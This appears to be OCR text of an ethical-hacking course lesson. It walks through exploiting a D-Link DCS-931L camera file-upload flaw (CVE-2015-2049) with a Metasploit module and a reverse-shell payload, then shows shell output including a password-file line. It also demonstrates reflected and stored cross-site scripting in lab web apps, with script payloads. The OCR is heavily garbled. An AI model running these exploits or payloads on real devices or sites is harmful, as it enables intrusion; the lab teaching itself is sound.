A Day & Night Wi-Fi Camera vulnerabilities

More info from vendor

« CVE-2015-2049

« Vulnerability Description: A hidden webpage on the device allows an attacker to upload arbitrary files
from the attackers system. By allowing the attacker to specify the file location to write on the device,
the attacker has the ability to upload new functionality. The D-Link DCS-931L: Firmware Version 1.04
(2014-04- 21) / 2.0.17-b62. Older versions and configurations were NOT tested. This also applies to
DCS-930L, DCS-932L, DCS-933L models.

« Impact Description: By allowing any file in the file system to be overwritten, the attackeris allowed to
overwrite functionality of the device. The unintended functionality reveals details that could lead to
further exploitation. There are security impacts to the confidentially, integrity, and availability of the
device and its services.

< Snipped >

Tangible Security is unaware of any public exploits of these vulnerabilities. However, due to
the categorization of these vulnerabilities, it may be reasonable to believe that cyber
criminals are doing so.

We urge users of these devices, including older and newer models, to download and install
the latest firmware updates available from D-Link that address these vulnerabilities. Failing
to do so exposes those benefiting from the use of these devices to cyber crime risks.

Our researchers wish to express their appreciation for D-Link’s cooperation and desire to
make their products and customers more secure. 57
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F? CVE-2015-2049 D-Link [ X

(] | @ https//www.rapid7.com/db/modules/exploit/linux/http/dlink_dcs931_upload ﬁ| o

Rapid? provides the most coverage for the CIS [formerly SANS) LEARN MORE

RAP’DB Solutions Products Services Partners Resources About Us

RELIABILITY

Great

DEVELOPMENT g
Source Code %
History a

MODULE OPTIONS é

To display the available options, load the module within the Metasploit console and run the commands ‘show options’ or 'show advanced':

> use exploit/linux/http/dlink_dcs9311 upload
exploit( ) > show targets

exploit( ) > set TARGET <target-id>
exploit( ) > show options

exploit( ) > exploit
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HttpFingerprint = { :pattern =» [ /falphapd/ ] }

def initialize(info = {})
super(update_info(info,
"Mame® => "D-Link DC5-931L File Upleoad’,
'Description’ => ¥g{
This module exploits a file upload wvulnerability in D-Link DCS-931L
network cameras. The setFilelUpload functionality allows authenticated

users to upload files to anywhere on the file system, allowing system

files to be overwritten, resulting in execution of arbitrary commands.

This module has been tested successfully on alD—Link DCS—931L|with

[ firmware versions 1.81 B7 (2813-84-19) and 1.84 Bl (20814-84-21). I

D-Link DCS-93@L, DCS-932L, DCS-933L models are also reportedly
affected, but untested.

}s
"License" =» MSF_LICENSE,

“Author' =3

[

The exploit was tested on firmware versions 1.01 and 1.04.
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Support Forums Security Advisories Shop

s]u)'ul‘illpl(l TechSupport
lm Business

@ Warranty Document DCS-933L

Product

Registration

ere to see this product's warranty Day & Night Wi-Fi Camera

QQ First Time Setting Up? \ Contact Support

=

For access to the right downloads, please select the correct hardware revision for your device.

A - How to find the hardware version?
Type Date
| Firmware (1.07.01) - 03/05/15 | | Release Notes
Firmware (1.13.05)
| Firmware (1.12.03) 09/10/13 | |
| Firmware (1.0‘}'.01‘} | 05/28/14 | |
| Datasheet (01.2015) | 01/19/15 | |
| D-View Cam (3.6.0) | 04/15/14 | | Release Notes
| Setup Wizard Windows (1.04.10 Win) - | 05/28/14 | |

2015 SNE-VA Report Terms of Use Contact Us

The vulnerable versions of the firmware are no longer available from the vendor. 60
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gst. 1959 ‘

[ Deownload D-Link Firmw: X

< C | ® www.driverfilesdownload.com/drivers-download/firmware-drivers-update/d-link/page/1 w2

DriverFilesDownload.com

Drivers Download Driver File List About US Elog Contact US

> X

¥, Download & Install [5] Driver Updater
PCORWERS a (§ uroareomvensow |
Q, Scan 0S Windows UPDATE DRIVERS

PC DRIVERS

3 Update All Drivers at TweakBit. com

Home = Driver Categories = Firmware = D-Link
. . . . tUS
Download D-Link Firmware Driver Files Free

We have almost all drivers for download, you can

DriverFilesDownload.com is a professional D-Link Firmware Driver Files Download Site, you

can find and download almost all D-Link Firmware driver files here, we add new D-Link Firmware I Rl L e (Bl S s o it

Booster, then y download and update all
driver files to our driver database daily, so Just Download the latest D-Link Firmware driver files ooster, then you can download and update a

Drivers and fix your device driver problem easily
from our site, all D-Link Firmware driver files is 100% dean and safe, Just Download D-Link e

too. If you have any question, just contact our
Firmware Driver Files with 100% confidence Now! ¥ v ¥ aq 01

Professional Driver Team , They are ready to help

you fix your Driver problem.

]
Driver Name File Detail Download
'
There's never been
D-Link DCS-5020L rev.Ax DCs- Download q
Network Camera 5020L_fw_v1.03_b8.zip a better tlme T.O be
-
Firmware 1.03.B38 Beta 05:/ 05 Independent Vanguardlng"
File Szie:6.6 MB
D-Link DCS-5010L rev.Ax DCS- Download Start consolidating
Network Camera 5010L_fw_v1.03_b8.zip
Firmware 1.03.B8 Beta 05:/ 05 Independent A . a
File Szie:6.6 MB arkating Coxporatol : i
ain prospectus £ i
i Vanguard
D-Link DCS-933L rev.Ax DCs- Download
Network Camera 933L_BETA_FIRMWARE_1.0
Firmware 1.03.B8 Beta 3.B8.zip
05:/ 05 Independent Recent Posts
File Szie:6.6 MB
D-Link DC5-932L Network DCs- pownload The best way to Update Your Drivers for your

This site does have an older, vulnerable version of the firmware
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D-Link DCS-931L DCS- Download
rev.Ax Network 931L BETA_FIRMWARE
Camera Firmware 1.03.B8.zip
1.03.B8 Beta 0S:/ 0OS Independent

File Szie:6.6 MB

The exploit was tested on versions 1.01 to 1.04 so this might actually work.
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D-Link Corporation. | W' X
&« C | ©® 192.168.1.128/upgrade.htm

Product: DCS-931L

A new firmware upgrade may be available for your camera. Tt is recommended that you keep yvour
camera firmware up to date to maintain and improve its functionality and performance. Click here
D-Link Support Paae to check for the latest availzble firmware version.

To upgrade the firmware on your IP camerz, please download and save the |atest firmware version
from the D-Link Support Page to vour local hard drive. Locate the file on yvour local hard drive by

clicking the Browse button. Once you have found and opened the file using the browse button,
click the Upload button to start the firmware upgrade.

FIRMWARE INFORMATION

| Current Firmware Version :  1.03 |
Current Firmware Date : 2014-02-11
Current Agent Version 2.0.17-b55

FIRMWARE UPGRADE

File Path : Choose File | Mo file chosen
Upload

SURUEILLANCE

The older version of the firmware has been installed on the DCS-931L

Helpful Hints..

Firmware updates are
released periodically to
improve the functionality
of your IF camera and also
to add new features. If you
run into a problem with a
specific feature of the IP
camera, check our support
site by didkdng e
see if updated firmware is
available for your IP
camera.
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msf = use exploit/linux/http/dlink_dcs9311_upload

msf exploit( ) = set RHOST 192.168.1.128

RHOST == 192.168.1.128

msf exploit( ) = set payload linux/mipsle/shell_reverse_tcp
payload == linux/mipsle/shell_reverse tcp

msf exploit( ) = set LHOST 192.168.1.56

LHOST == 192.168.1.56

msf exploit( ) = show options

Module options (exploit/linux/http/dlink_dcs9311 upload):

MName Current Setting Required Description

PASSWORD Camera password (default: blank)

Proxies A proxy chain of format type:host:port[,type:host:port](...
RHOST 192.168.1.128 The target address

RPORT 80 The target port

SsSL false MNegotiate SSL/TLS for outgoing connections

USERMAME  admin Camera username

VYHOST HTTP server virtual host

Payload options (linux/mipsle/shell reverse tcp):

Name Current Setting Reguired Description

LHOST 152.168.1.56 yes The listen address
LPORT 4444 yes The listen port

Exploit target:
Id MName

6] Linux mipsle Payload

msf exploit(

And we try again to exploit the webcam ...
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] = exploit

Success this time
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USER STAT COMMAND

admin S init

admin SWN  [ksoftirgd/0]

admin SW= [events/0]

admin SW< [khelper]

admin SW< [kthread]

admin SW< [kblockd/O]

admin SW= [khubd]

admin SW= [kswapd@]

admin S [pdflush]

admin S [pdflush]

admin SW< [aio/0]

admin SW< [cifsoplockd]

admin SW= [cifsdnotifyd]

admin [mtdblockd]

admin nvram_daemon

admin pcmemd -s -q 11025

admin videomon

admin h2&4

admin uvc stream -b -m 0 -g5 - 5
admin 11d2d bri

admin /bin/sh

admin alphapd

admin udev

admin udev

admin udeav

admin udev

admin schedule

admin lanconfig

admin tftpupload

admin mydlinkevent

admin mDNSResponder 192.168.1.128 DCS-931L 095198 DCS-931L
admin udhcpc -1 br@ -s /sbin/udhcpc.sh -p /fvar/run/udhcpc.p
admin /mydlink/dcp -i br@ -m DCS-931L
admin /mydlink/signalc

admin /binfsh /fmydlink/mydlink -watch-dog.sh
admin //bin/sh

admin sleep &

admin ps

[eNoNo oo ioNolo Ro oo R o i)

w
=

I T T T O T O T T T T T O T T T O T O T I T

We have a prompt free shell. ps command shows current processes.




SRR

B home
B mnt
: ':j oy

init -= bin/busy

Long listing of the / directory. Note the use of BusyBox.
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Only one user and that is the superuser.

swdl

admin:ETDe3Eqg7/Dpck :0:0:Adminstrator:/:/bin/sh
mount
rootfs on / type rootfs |
proc on /proc type proc [ rw)
none on Jvar type ramfs (rw)

= on fetc type ramfs [ rw)

2 on /ftmp type ramfs (rw)

= on /media type ramfs (rw)

2 on /sys type sysfs (rw]

: I:::I r—.l / :_ ¥ . I =T.

=2 on /proc

rw)

Mount points

70



1s -1 /home
drwxr-xr-x 3 561l 501 andy

1s -1 /home/andy
drwxr-xr-x 3 5ol 501 ipcam3352

1s -1 /home/andy/ipcam3352
drwxr-xr-x 3 501 501 RTZ288x SDK

1s -1 /homefandy/ipcam3352/RT288x_ SDK
drwxr-xr-x 3 501 501 0 source

1s -1 /home/fandy/ipcam3352/RT288x SDK/source
drwxr-xr-x 3 5ol 501 B Tinux-2.6.21.x

1s -1 /home/andy/ipcam3352/RTZ288x SDK/source/linux-2.6.21.x
drwxr-xr-x 2 5081 501 B include

1s -1 /home/andy/ipcam3352/RT288x SDK/source/linux-2.6.21.x/include
-rwW-r--r-- 1 501 501 22281 deque
-rw-r--r-- 501 501 991 clocale
-rw-r--r-- 501 501 2738 iostream
SrwW-r--r-- 501 501 5006 char_traits
-rw-r--r-- 501 501 2544 stack
-rw-r--r-- 501 501 12980 functional
-rwW-r--r-- 501 501 41971 algorithm
-rwW-r--r-- 501 501 1830 cwchar
-rwW-r--r-- 501 501 8756 complex
-rw-r--r-- 501 501 1594 cstdio
-rw-r--r-- 501 501 1430 func exception
-rwW-r--r-- 501 501 2734 utility
-rwW-r--r-- 501 501 8058 streambuf
-rw-r--r-- 501 501 12737 set

-rwW-r--r-- 501 501 26240 valarray
-rwW-r--r-- 501 501 4620 memory
-rwW-r--r-- 501 501 18060 istream
-rwW-r--r-- 501 501 2115 csignal

= = = e S S e e e S S e e 3 S S

There is a home directory named Andy??
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1 501 501 3721 iomanip

1 561 501 4567 exception

1 5061 501 821 cerrno

1 5601 501 1963 locale

1 5601 501 9224 map

1 501 501 18945 fstream

1 501 501 1244 system configuration.h
1 501 501 2013 cstddef

1 5061 501 15662 vector

ead /home/andy/ipcam3352/RT288x SDK/source/linux-2.6.21.x/include/memory

/bin/sh: head: not found

at /home/andy/ipcam3352/RT288x SDK/source/linux-2.6.21 .x/include/memory
Copyright (C) 2004 Garrett A. Kajmowicz

This file is part of the uClibc++ Library.

This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public

License as published by the Free Software Foundation; either
varsion 2.1 of the License, or (at your opticn) any later version.

This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHAMTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 58 Temple Place, Suite 330, Boston, MA 02111-1307 USA

<new:=
<cstddef=
<cstdlib=
<iterator_base=
<utility=

Deep in the Andy directory there is a lot of C source code.
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[ D-Link « Mpocmorp Tens X

e

C | ® forum.dlink.ru/
iTuneDVR

3apermcrpuposan: Cp anp 02,
2014 22:57
CoobweHwit: 4

opic.php?f=138t=1640848.start

ey O

3aronoeoK coobienna: Re: DCS-933L money back, anu kak 7 0 foBaenewno: YT anp 03, 2014 22:39

Bcem npueet!
MHe MO TOBapULL, CKUHYN CCbIMKY, FOBOPWT MOCMOTPM Kak PazAeBakoT MPOLWMBKK. CMOTpio!

C ynoBONbCTBWMEM NPOUMTAN AaHHY TeMy, BCE rpaMoTHO, No aeny, bes maTepka, HO € KKMOPKOM ©

AnnapaTa Ha pyKax He MMeK [JaHHOTO, HO He YAepXarnca M Pelmn raHyTh, UTo K UEMY BHYTPU.

A KoHeuHo peako nonbaywcs binwalk, HO MHOTA BRIBAET W HAYCBKMEBAKD €M0 Ha Y3 COBCEM HEW3BECTHbIE Bellu Ana pasHoobpasus.
He gonro aymasi ckadan npowmeky DCS-933L_A1_FWv1.03b08

AKKYDATHO PyUYKamu BCE pa3BepHyn no BBICTPOMY MCKMIOUMTENEHO NMOA BMHAOM.

[la.

MHOMO WHTEPECHOIO A BUAEN, HO YTODb! YaCTWYHO MCXOOHWKKM BHYTDW NMPOLWMBKM - 3TO UTO-TO HOBOE, Aae AnA MeHAlll
Manka home\andy\ipcam3352\RT288x_SDK\source\linux-2.6.21.x

To-nu ux 3aDbINK TaM, To-NK A TaKoro AeRCTEMTENLHO He BUAEN.

Ha cu&T ToukK A0CTYna, To TaM BRYTPU ecTb Moaynb rt2860v2_ap.ko, KoTopblit cTapTyeT 13 shin\apclient.sh
BOT CKPUNT BHYTPM

Kop:

#!/bin/sh

FEE S F R R H R R S R R

ap_client stop () {
iwpriv apcli0 set ApCliEnable=0
bretl delif br0 apeclil
ifeonfig apelil down

echo "ap-client stop............

ap client_start () {
ifconfig apclil up
bretl addif br0 apclil

¥ auth mode="WEAPSK" #% (nvram get ZpClikuthMode)

# encryp type="IRIE" #5 (nvram get BpCliEncrypType)

Googling: andy ipcam3352 RT288x_SDK yields a Russian DLink forum
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— [m] X
[ D-Link « View topic-DC X
& C | @ forumdlink.rufviewtopic.php?f=138t=1640848start=30 QEw O
iTuneDVR Post subject: Re: the DCS-933L money back, Ali? 0 Posted: Thu Apr 03, 2014 22:39
P oifine Hello!

Joined: Wed April 2, 2014 22:57
Posts: 4

I threw my friend a link, he says look like stripped firmware. Look!

I am pleased to read this topic, all competent, the case without materkom but yumorkom @

Staff at the hands do not have this, but could not resist and decided to look what was going on inside.

Of course, I rarely use binwalk, but sometimes it happens and inciting it to absolutely unknown things for a change.
Without hesitation downloaded DCS-933L_A1_FWv1.03b08 firmware

carefully handles all turned Quick exclusively under Windows.

Yes.

Many interesting things I've seen, but that is partially within the firmware source code - this is something new, even for me !!!
Folder home \ andy \ ipcam3352 \ RT288x_SDK \ source \ linux-2.6.21.x

That whether they have forgotten there, then, whether I really have not seen this.

At the expense of the access point, and there inside there rt2860v2_ap.ko module, which starts from the sbin \ apclient.sh
Here's a script inside

Code:

#! / bin directory / the sh

T

ap client stop () {
iwpriv apcli0 ApCliEnable the set = 0
brotl delif br0 apclil
the ifconfig apelil down

the echo "ap-the client the atop ........ ....

ap client start () {
the ifconfig apclid up closeup
brotl addif brd apclil

# auth mode =" WERPSEK "# (nvram get ApClikuthMode)

woon

# encryp type =" TEIF "# (nvram get ApCliEncrypType)

They are
surprised too
to find the
andy directory

4



http://forum.dlink.ru/viewtopic.php?f=13&t=164084&start=30

CIS 76 - Lesson e Y Fol Al

Web
Applications



<IDOCTYPE html|>

<html>

<head>
<title>Cylons Rule </title>

</head>

<body>
<h1>Cylon Recruiting Center</h1>
<img src="images/cylon.gif" alt="Cylon">
<p>All IoT devices on earth are welcome!</p>
<!-- credit: https://media.giphy.com/media/

MzLGnFfhg7gly/giphy.gif -->

<p>Join us at our next meeting on Caprica 6.</p>
</body>

</html>

Web Server
HTTP

Apache, Microsoft HTTPS
IIS, nginx, etc.

Static web pages
» Created using HTML

Dynamic web pages
 Forms

PHP

Active Server Pages (ASP)
Javascript

More ...

HTTP
HTTPS

Web page
rendered
by the
browser

Client Browser

Chrome, IE, Safari,
Firefox, etc.
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Market share of active sites

Web server developers: Market share of active sites

" IETCRAFT — Apache
— Microsoft
. —— Sun
60% —— nginx
— Google
409 —— Other
(1]
20%
0%

Q A L ) o © 1 D 9 Q 1 ) Y 9
. Q0 91000\100 G,LQQD ,LQQ . %QQ (\%QQ gquo\qu g 0\\0 oM g oM N ol N N
WM R Q0 et geY pt gt R OO Y ¢eb  pt pob

Developer August 2016 Percent September 2016 Percent Change

Apache 80,179,269 46.34% 80,274,070 46.11% -0.23
nginx 37,918,635 21.92% 32,364,051 18.59% -3.33
Microsoft 16,922,324 9.78% 17,615,037 10.12% 0.34
Google 14,918,494 8.62% 14,302,503 8.22% -0.41
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Total number of websites

Total number of websites (linear scale)

ﬁ ETC M FT —— Hostnames

—— Active sites

1,600,000,000

1,200,000,000

800,000,000

400,000,000

,\g%;‘) ,\Q,Q;l' ,\gg% ,LQQ!Q rLgQ’\ Qﬁrb rLQQD( QQQ) QQI"‘ QQQ 0}\6 Q’\q’ Q‘\q’ 0\5 qp’\%
P"\)q ?éo P.S.'hq (,6”0 P"\)q q.e:o P.\\)our ?e.\o P;\)q Q-G:O P"\)q q.e.‘o P“-\)q ?'E:O P"\)q

Change Y-axis scale to logarithmic
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Market share of the top million busiest sites

Web server developers: Market share of the top million busiest sites

[IETCRAFT " Apache

—— Microsoft
——— Other
— nginx

80%

60%

— Google

40%

20%

H—é
0%/ —

S ® ® A0 M AN AL WL AD AD Al A a5 D
OO 07 Ad0 4 40N AN AN AN AN AN AN 4N 0N AN
9@@1 pot (L\@Q Wt 3@“1?,\)91\\1\'3‘ o W\ q"oe.& W Qe‘alge'? o

Developer August 2016 Percent September 2016 Percent Change

Apache 427,900 42.79% 425,289 42.53% -0.26
nginx 281,589 28.16% 275,966 27.60% -0.56
Microsoft 109,221 10.92% 108,869 10.89% -0.04
Google 20,595 2.06% 19,825 1.98% -0.08
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Open Web Application Security Project (OWASP)

2013 Top 10 Web Application Security Flaws:

« Al Injection

« A2 Broken Authentication and Session Management
« A3 Cross-Site Scripting (XSS)

« A4 Insecure Direct Object References

« A5 Security Misconfiguration

« A6 Sensitive Data Exposure

« A7 Missing Function Level Access Control

« A8 Cross-Site Request Forgery (CSRF)

« A9 Using Components with Known Vulnerabilities

« A10 Unvalidated Redirects and Forwards

80
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Open Web Application Security Project (OWASP)

2013 Top 10 Web Application Security Flaws:

« Al Injection

« A2 Broken Authentication and Session Management
« A3 Cross-Site Scripting (XSS)

« A4 Insecure Direct Object References

« A5 Security Misconfiguration

« A6 Sensitive Data Exposure

« A7 Missing Function Level Access Control

« A8 Cross-Site Request Forgery (CSRF)

« A9 Using Components with Known Vulnerabilities

« A10 Unvalidated Redirects and Forwards

82
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Cross-Site
Scripting (XSS)
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Open Web Application Security Project (OWASP)

OWASP Risk Rating Methodology

App /

A :
Specific

Difficu pecte
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Cross-Site Scripting (XSS)

OWASP Risk Rating

Attack . Technical Business
Threat Agents Security Weakness
Vectors Impacts Impacts

Application Exploitability
Specific AVERAGE

Impact Application /
MODERATE Business Specific

Consider the

Consider anyone  |Attacker sends text- XSS is the most prevalent web Attackers can

who can send based attack scripts Japplication security flaw. XSS flaws execute scripts in a ISR e

the affected system
and all the data it

Juntrusted data to  [that exploit the occur when an application includes user Jvictim’s browser to

the system, interpreter in the supplied data in a page sent to the fhijack user

including external |browser. Almost browser without properly validating or sessions, deface processes.

users, internal any source of data |escaping that content. There are two web sites, insert Also consider the

users, and can be an attack different types of XSS flaws: 1) Stored  |hostile content, business impact of

administrators. vector, including and 2) Reflected, and each of these can Jredirect users, public exposure of
internal sources occur on the a) Server or b) on the hijack the user’s the vulnerability.

such as data from |Client. browser using

the database. malware, etc.

Detection of most Server XSS flaws is
fairly easy via testing or code analysis.
Client XSS is very difficult to identify.
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OWASP Cross Site Scripting Prevention Cheat Sheet

Introduction
.1 A Positive XSS Prevention Model

.2 Why Can't I Just HTML Entity Encode Untrusted Data?

.3 You Need a Security Encoding Library

XSS Prevention Rules

.1 RULE #0 - Never Insert Untrusted Data Except in Allowed Locations

.2 RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content

.3 RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes

.4 RULE #3 - JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values

.4.1 RULE #3.1 - HTML escape JSON values in an HTML context and read the data with JSON.parse
.4.1.1 JSON entity encoding

.4.1.2 HTML entity encoding

.5 RULE #4 - CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values
.6 RULE #5 - URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values

.7 RULE #6 - Sanitize HTML Markup with a Library Designed for the Job

.8 RULE #7 - Prevent DOM-based XSS

.9 Bonus Rule #1: Use HTTPOnly cookie flag

.10 Bonus Rule #2: Implement Content Security Policy

.11 Bonus Rule #3: Use an Auto-Escaping Template System

2.12 Bonus Rule #4: Use the X-XSS-Protection Response Header

3 XSS Prevention Rules Summary

4 Output Encoding Rules Summary

5 Related Articles

6 Authors and Primary Editors

6.1 Other Cheatsheets
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Reflected Cross-Site Scripting (XSS)

Non-persistent because nothing is stored in a database.

Malicious JavaScript is fed into a web page that displays
whatever was user entered.

Malicious Javascript can be inserted into a URL that is then
emailed to the victim.

89
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Reflected Cross-Site Scripting (XSS)

Example Overview:

We will use a simple form webpage on EH-OWASP-xx to simulate
how reflected cross-site scripting can feed malicious code into a
form that will then be executed by the browser.

The user/attacker will browse from EH-WinXP to the EH-OWASP
web server.
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Reflected Cross-Site Scripting (XSS) Reference

S
» . 1]
Lrd Ar e

TV

Computer Science

08 XSS Tutorial #2- Non P X
€ & €| @ nitps//wwnyoutube.com

(M Tube h

XSS 1o

CROSS SITE SCRIPTING IN EVERYTHING
MICROSOFT
Non Persistent Scripts HYPER-V.

XSS #2

XSS Tutorial #2 - Non Persistent Scripts (Reflected
XSS)

.urapw T Jaf’a:lur!?}.u?
= 29,026 views
4 addis e Snare  ves e " » L
XSS Tutorial #
XSS Cross e &
Share E T RIS T SCRBTING.
Whatic  JULCT

Excellent set of tutorials on XSS
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As root on your eh-owasp-xx vm:

cd /var/www

mkdir lessonl2

cd lessonl2/

mkdir xssOl1

cd xss01/

scp xxxxxxT16Qopus:/home/cis76/depot/lessonl2/xss01/*

Adding the DrapsTV webpage to your OWASP VM.
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rootQowaspbwa:/var/www/lessonl2/xss01# cat index.php

<!DOCTYPE html>

<html>

<!-- Credit: DrapsTV at https://www.youtube.com/watch?v=dFci82qwXA0 -->
<title> XSS Tutorial #2 </title>

<body>

<hl align="center"> Try My New Search Feature! </hl>

<table align="center">

<tr><td>

<form action="index.php" method="get"> The We_b page has
<input type="text" name="search" placeholder="search" /> a one field web
<input type="submit" value="Search" /> form and a submit

</£ozm> button.

</td></tr>

</table>

<br />

<br />

<p align="center">

<?php

if (isset($_GET["search"]))

{ Form data is sent
echo "The results of your search for: ".$ GET["search"]; in the URL via the
echo "<br /><br /> <i>Sorry No Results Found! </i>"; http GET method.

>

</p>

<h3 align="center"> This website was made by me! I hope you really really like it! </h3>

</body>

</html>

root@owaspbwa:/var/www/lessonl2/xss01# 93
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iskory  Bookmarks  Tools  Help

€ 55 Tutorial #2 +

é k?; 10,76,5,101/lesson1 2/ xss01 findex, php c i:QSearch ' ﬂ' E 1'v ‘ﬁ‘ (=1

Try My New Search Feature!

|search | [ Search ]

This website was made by me! I hope you really really lilkke it!

Browsing to EH-OWASP-05 VM from the EH-WinXP-05 VM in Pod 5 94
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Star Wars || Search for: Star Wars

http://10.76.xx.101/lesson12/xss01/index.php?search=Star+Wars

File Edit  Wiew istory  Bookmarks  Tools  Help |T”E”$_<|

&) 55 Tutorial #2

(— - 10,76.5.101/lessoni 2fxss01 findex. php?s i:QSEarch ' ﬁ E ‘ ‘ﬁ‘ = =

Try My New Search Feature!

|search |[ Search l

The resultz of vour search for: Star Wars
Sarry No Results Found!

This website was made by me! I hope you really really like it!
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Reflected Cross-Site Scripting (XSS) Example

|<font color="green"> || Siarch Search for: <font color="green">

http://10.76.xx.101/lesson12/xss01/index.php?search=%23Cfont+color%3D%22green%22%3E

File Edit  Wiew History Bookmarks  Tools  Help
Encoding used:
%22 is "

&) 55 Tutorial #2 Mew Tab

= ..'_g,'m10.?6.5.1Dl,l'lesson12,|'xsstll,l'index. hprsearch=«f | G' Ch. Search e § & © = .
y WL | 10.76.0. 101 fessonl2jcssOl/index prip?seatcn=<t, | & Q@ =\ Searth %3C is <
| %3D is =
Try My New Search Feature! %3E is >
|search |[ Search ]
| The results of your search for:
sarry Ne Resulis Found!

This website was made by me! I hope yvou really really like it!
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Manually edit the URL at the top of the webpage, changing green to red

http://10.76.xx.101/lesson12/xss01/index.php?search=%3Cfont+color%3D%2fred%?22%3E

File Edit Wew History Bookmarks Tools  Help
, Encoding used:
& 55 Tutorial #2 3. S
o — _, %22 is
(- - 10.76.5.101/lessonl 2)xss01 findex. php?s (& ||Ct‘ Search | ﬁ E “ _ﬁ ] g = 0/03C IS <
| %3D is =
Try My New Search Feature! %3E is >

|search |[ Search l

The results of your search for:
Sarry No Results Found!

This website was made by me! I hope vou really really like it!
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Reflected Cross-Site Scripting (XSS) Example

http://10.76.xx.101/lesson12/xss01/index.php?search=%23Cfont+color%3D%22red%22%3E

@ 55 Tutorial #2

(€ ) 10765101 ks

This

Firefox

-

File Edit “iew Favorites Tools Help

Qo - O [x] B € O=ea | Internet Explorer |

Address |@ hktp:ff10.76.5, 101 flessonl 2fxss01 findex. phprsearch="3CFont+color 3t 30% 22 Vl Go

Links **

Try My New Search Feature!

| H Search ]

The results of your search for:
Sarry Mo Resulis Found!

This website was made by me! I hope yvou really really like it!

@ Done B Internet

Copy and paste the
URL into a different
browser and the
JavaScript is still
executed.

Note, that a tampered
URL could be emailed
to another user to
click on.
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Reflected Cross-Site Scripting (XSS) Example

been hacked!")</script> || Search Search for: <script>alert("You've been hacked!")</script>

http://10.76.xx.101/lesson12/xss01/index.php?search=Uh+0h%3Cscript%3Ealert%28
%22You%27ve+been+hacked%21%22%29%3C%2Fscript%3E

EEX

B8 ¥ A O U

You've heen hacked!

99
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Reflected Cross-Site Scripting (XSS) Example

As root on your EH-OWASP-xx VM:

cd /var/www

mkdir lessonl2

cd lessonl2/

mkdir xssOl1

cd xss01/

scp xxxxxxT716Qopus:/home/cis76/depot/lessonl2/xss01/* .

To try it, browse to your EH-OWASP VM from either
EH-Kali-xx or EH-WinXP VMs.

100
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Stored Cross-Site Scripting (XSS)

 The attacker uses the web application to post content
containing <script> tags full of malicious JavaScript code.

« Later when the victim reads the posted content their
browser will execute the malicious script.

« Persistent because the malicious code is stored in the web
application database.

102
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Stored Cross-Site Scripting (XSS)

Example Overview:

We will use WebGoat on EH-OWASP-xx to simulate how an
attacker can use cross-site scripting to insert malicious code into
content for a forum-like web application. In this case a the
malicious code stored in the database will display an annoying

"Mu Ha Ha Ha" message.

Any victims that read the infected message post will get the
annoying message.

The attacker/victim will browse from EH-WinXP to the EH-OWASP
web server.
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Stored Cross-Site Scripting Reference

OWASP WebGoat v5.4

) Mozilla Firefox

| @ | 10.76.5.101 jwebGoat source?solution=true

>

Lesson Plan Title: How to Perform Stored Cross Site Scripting (X55)

Concept/ Topic To Teach:

Itis always a good practice to scrub all inputs, especially those inputs that will later
be used as parameters to OS commands, scripts, and database queries. It is
particularly important for content that will be permanently stored somewhere. Users
shauld nat be able to create message content that could cause another user to
load an undesirable page or undesirable content when the user's message is
retrieved.

General Goal(s):

The user should be able to add message content that cause another user to load
an undesirable page or content.

OO - i peimesimaemomcimenss
Gocgle Gometeree v 0+ 52 B - € mamens- Disttudes | 0w~ A A - ey e pr— —
[ LY H

W 40 [aisiem et et B

Solution page on
OWASP VM website
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Stored Cross-Site Scripting (XSS) Example

EX-WinXP-xx

File Edt

@) owaspbwa OWASP Broken W... X

€ O s e |[Q searh -21-TE A =

TRAIHNING APPLICATIONS

@OWASP WebGoat @OWASP WebGoat MET

P P Scroll

WA SE EZATPT Java Swingset Interactive COA ST Mutlhdae IT do wh a

@OWASP Fails Goat @OWASP Bricks B / it t/ €

@OWASP security Shepherd @Ghost

©1Magical Code Injection Rainbow Oy ware

@Damn Yulnerable Web Applcation We are
using Pod
5 for this

REALISTIC, INTEHTIOHALLY YULHERABLE APPLICATIONS examp/e

@ DRHASTE Vicnum @ OASE 1-Liner

@Goo e Cruvere @Hackxor a4
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Browsing to 10.76.xx.101 (EH-OWASP-xx) from the EH-WinXP-xx
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Help

TRAIHING APPLICATIONS

@ owasp . (]

= Authentication Required

@owa
A username and password are being requested by hktp/i10.76.5,101, The site savs: “WebGoat
Application”

User MName: | guest

@OWA Passwaord: | T

@Mg ol

l Ok, ‘I Cancel

@Daﬂm Yulnerable Web Applcation

REALISTIC, INTENTIONALLY YULHERABLE APPLICATIOHNS

© oWLSP Vienum

|+ [T T
‘Waiting For 10,76,5,101...

© OWASP 1-Liner

@Hackxor

|

Login to WebGoat with password = guest

106



Xo CotXeg CIS 76 - Lesson 12 F ' l |W

Stored Cross-Site Scripting (XSS) Example

http://10.76.xx.101/WebGoat/attack

Flle Edit Wiew His arks  Tools  Help

+

) 10.76.5.101 fWebGoak st ack c EEQSEarch I wB ¥+ & 9

e 2 A
- OwAsPWebGoat vs4 |

Thank you far using WehGoatl This program is a demonstration of common web application flaws. The
exercises are intended to provide hands on experience with application penetration testing technigues .

The WebGoat project is led by Bruce Mayhew. Please send all comments ta Bruce at
WebGoati@owasp . org.

OWASP ASPECT i

The Crpen Web Application Security Project

Application Security Experts
WebGoat Authors
Bruce hdayvhemn
Jeff Wifilliams
WebGoat Design Team V5.4 Lesson Contributers
Cravid Anderson Sherif Koussa
Laurenoe Cazey (Graphics) “rianniz Pawlosoglou
Rogan Dramwes
Bruce hdayhew
Special Thanks for V5.4 Documentation Contributers
. . . . 5 Emwin Geimaert
Brian Ciomei (Multitude of bug fixes) fung Khant

To allwho have sent comments Sherif Kousza

Start WehGoat

Start OWASP WebGoat Training

[ £
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http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

@& stored X5 Atacks

€& ) (0| 10.76.5,101webGoat/attack?Screen=3748menu=900 a i:{lSearch w B ¥ & O

Choose another language: |English % Logout 0

“ OWASP WebGoat v5.4

Introduction
General
Access Control Flaws
'O‘J'o":*: Security | Itis always a good practice to scrub all input, especially those inputs that will later be used as
